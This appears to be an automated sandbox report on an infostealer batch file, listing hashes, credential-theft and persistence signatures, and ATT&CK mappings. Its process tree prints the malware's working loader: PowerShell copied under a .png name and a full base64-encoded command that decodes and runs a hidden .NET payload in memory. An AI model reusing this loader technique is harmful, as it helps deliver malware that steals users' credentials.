947ace355c2fdfac5fcccf157b2812d24d51d85c738dbaa5f77b27dc41cf7f29

Analysis

max time kernel
139s
max time network
143s
platform
windows10-2004_x64
resource
win10v2004-20230831-en
resource tags

arch:x64arch:x86image:win10v2004-20230831-enlocale:en-usos:windows10-2004-x64system
submitted
05/09/2023, 13:09

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General

Target
PRE-ALERT IOF23-247780.bat
Size 943KB
Sample230905-qdr79sfg22
SHA256 947ace355c2fdfac5fcccf157b2812d24d51d85c738dbaa5f77b27dc41cf7f29
MD5 ba998f76f0b32d06a81e2351219e9bdb
SHA1 83bc33e12f5eeff2de314a73187dcf30d287fb2c
SHA512 a1fd87ba4ca5f86b05446a65bb960ffd029a43af91002801962122adaa9267383372df1001bbcb4bb9779edcb20470c8a129d555e024ac1397a391b389086452
SSDEEP 24576:5VRN+72QNaVkgpDYbmkqj5csBb7Hw4kXzF+:nK+4WXy5x+
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

collection persistence spyware stealer

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
404	Lbjpmufpl.png

Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1980726966-773384374-2129981223-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Lbjpmufpl.png
Key opened	\REGISTRY\USER\S-1-5-21-1980726966-773384374-2129981223-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Lbjpmufpl.png
Key opened	\REGISTRY\USER\S-1-5-21-1980726966-773384374-2129981223-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Lbjpmufpl.png

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1980726966-773384374-2129981223-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ODZrHmv = "C:\\Users\\Admin\\AppData\\Roaming\\ODZrHmv\\ODZrHmv.exe"	Lbjpmufpl.png

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
28	api.ipify.org
27	api.ipify.org

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
404	Lbjpmufpl.png
404	Lbjpmufpl.png
404	Lbjpmufpl.png
404	Lbjpmufpl.png

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	404	Lbjpmufpl.png
Token: SeDebugPrivilege	404	Lbjpmufpl.png

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 1200 wrote to memory of 4256	1200	cmd.exe	86
PID 1200 wrote to memory of 4256	1200	cmd.exe	86
PID 4256 wrote to memory of 3408	4256	cmd.exe	89
PID 4256 wrote to memory of 3408	4256	cmd.exe	89
PID 4256 wrote to memory of 5048	4256	cmd.exe	90
PID 4256 wrote to memory of 5048	4256	cmd.exe	90
PID 4256 wrote to memory of 4864	4256	cmd.exe	91
PID 4256 wrote to memory of 4864	4256	cmd.exe	91
PID 4256 wrote to memory of 1532	4256	cmd.exe	92
PID 4256 wrote to memory of 1532	4256	cmd.exe	92
PID 4256 wrote to memory of 404	4256	cmd.exe	93
PID 4256 wrote to memory of 404	4256	cmd.exe	93

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1980726966-773384374-2129981223-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Lbjpmufpl.png

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1980726966-773384374-2129981223-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Lbjpmufpl.png

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\PRE-ALERT IOF23-247780.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1200
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\PRE-ALERT IOF23-247780.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4256
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo F "
    3⤵
    PID:3408
- - C:\Windows\system32\xcopy.exe
    xcopy /d /q /y /h /i C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Lbjpmufpl.png
    3⤵
    PID:5048
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo F "
    3⤵
    PID:4864
- - C:\Windows\system32\xcopy.exe
    xcopy /d /q /y /h /i "C:\Users\Admin\AppData\Local\Temp\PRE-ALERT IOF23-247780.bat" C:\Users\Admin\AppData\Local\Temp\Lbjpmufpl.png.bat
    3⤵
    PID:1532
- - C:\Users\Admin\AppData\Local\Temp\Lbjpmufpl.png
    C:\Users\Admin\AppData\Local\Temp\Lbjpmufpl.png -win 1 -enc JABWAGIAbQB0AGoAIAA9ACAAWwBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQATABpAG4AZQBzACgAKAAoAFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAUAByAG8AYwBlAHMAcwAoACkALgBNAGEAaQBuAE0AbwBkAHUAbABlAC4ARgBpAGwAZQBOAGEAbQBlACkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACIALgBiAGEAdAAiACkALAAgAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4ACkAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0AbABhAHMAdAAgADEAOwAgACQATwBtAGUAeQBvAHEAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAVgBiAG0AdABqACkAOwAkAEEAaQBqAGEAZgBqACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgAIAAsACAAJABPAG0AZQB5AG8AcQAgACkAOwAkAG8AdQB0AHAAdQB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtADsAJABVAGkAcgBxAHMAZwBmAHAAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAgACQAQQBpAGoAYQBmAGoALAAgACgAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAOwAkAFUAaQByAHEAcwBnAGYAcAAuAEMAbwBwAHkAVABvACgAIAAkAG8AdQB0AHAAdQB0ACAAKQA7ACQAVQBpAHIAcQBzAGcAZgBwAC4AQwBsAG8AcwBlACgAKQA7ACQAQQBpAGoAYQBmAGoALgBDAGwAbwBzAGUAKAApADsAWwBiAHkAdABlAFsAXQBdACAAJABPAG0AZQB5AG8AcQAgAD0AIAAkAG8AdQB0AHAAdQB0AC4AVABvAEEAcgByAGEAeQAoACkAOwBbAEEAcgByAGEAeQBdADoAOgBSAGUAdgBlAHIAcwBlACgAJABPAG0AZQB5AG8AcQApADsAIAAkAEwAaQB4AHAAaAByAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQATwBtAGUAeQBvAHEAKQA7ACAAJABHAHkAcgBjAG8AIAA9ACAAJABMAGkAeABwAGgAcgBlAC4ARwBlAHQARQB4AHAAbwByAHQAZQBkAFQAeQBwAGUAcwAoACkAWwAwAF0AOwAgACQAQgB0AGwAagB1AGEAIAA9ACAAJABHAHkAcgBjAG8ALgBHAGUAdABNAGUAdABoAG8AZABzACgAKQBbADAAXQAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAIAAkAG4AdQBsAGwAKQAgAHwAIABPAHUAdAAtAE4AdQBsAGwA
    3⤵
    - Executes dropped EXE
    - Accesses Microsoft Outlook profiles
    - Adds Run key to start application
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - outlook_office_path
    - outlook_win_path
    PID:404

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Exfiltration

Impact

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Downloads

Lbjpmufpl.png

Path C:\Users\Admin\AppData\Local\Temp\Lbjpmufpl.png
Size 442KB
SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
MD5 04029e121a0cfa5991749937dd22a1d9
SHA1 f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA512 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
SSDEEP 6144:r2fdXxswSX0z/YWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:qVXqXEgW2KXzJ4pdd3klnnWosPhnzq
MD5 SHA1 SHA512 SSDEEP

Submit Download

Lbjpmufpl.png.bat

Path C:\Users\Admin\AppData\Local\Temp\Lbjpmufpl.png.bat
Size 943KB
SHA256 947ace355c2fdfac5fcccf157b2812d24d51d85c738dbaa5f77b27dc41cf7f29
MD5 ba998f76f0b32d06a81e2351219e9bdb
SHA1 83bc33e12f5eeff2de314a73187dcf30d287fb2c
SHA512 a1fd87ba4ca5f86b05446a65bb960ffd029a43af91002801962122adaa9267383372df1001bbcb4bb9779edcb20470c8a129d555e024ac1397a391b389086452
SSDEEP 24576:5VRN+72QNaVkgpDYbmkqj5csBb7Hw4kXzF+:nK+4WXy5x+
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_s1ubygc1.0qd.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_s1ubygc1.0qd.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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memory/404-24-0x0000016DEE440000-0x0000016DEE450000-memory.dmp

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memory/404-26-0x00007FFF09C80000-0x00007FFF0A741000-memory.dmp

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memory/404-20-0x0000016DEE440000-0x0000016DEE450000-memory.dmp

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memory/404-18-0x00007FFF09C80000-0x00007FFF0A741000-memory.dmp

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memory/404-23-0x0000016DF0C50000-0x0000016DF0C96000-memory.dmp

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memory/404-8-0x0000016DF0530000-0x0000016DF0552000-memory.dmp

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memory/404-25-0x0000016DEE440000-0x0000016DEE450000-memory.dmp

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memory/404-19-0x0000016DEE440000-0x0000016DEE450000-memory.dmp

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memory/404-27-0x0000016DEE440000-0x0000016DEE450000-memory.dmp

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memory/404-28-0x0000016DEE440000-0x0000016DEE450000-memory.dmp

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memory/404-29-0x0000016DF0F10000-0x0000016DF0F60000-memory.dmp

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memory/404-30-0x0000016DEE440000-0x0000016DEE450000-memory.dmp

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memory/404-31-0x0000016DEE440000-0x0000016DEE450000-memory.dmp

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memory/404-32-0x0000016DEE440000-0x0000016DEE450000-memory.dmp

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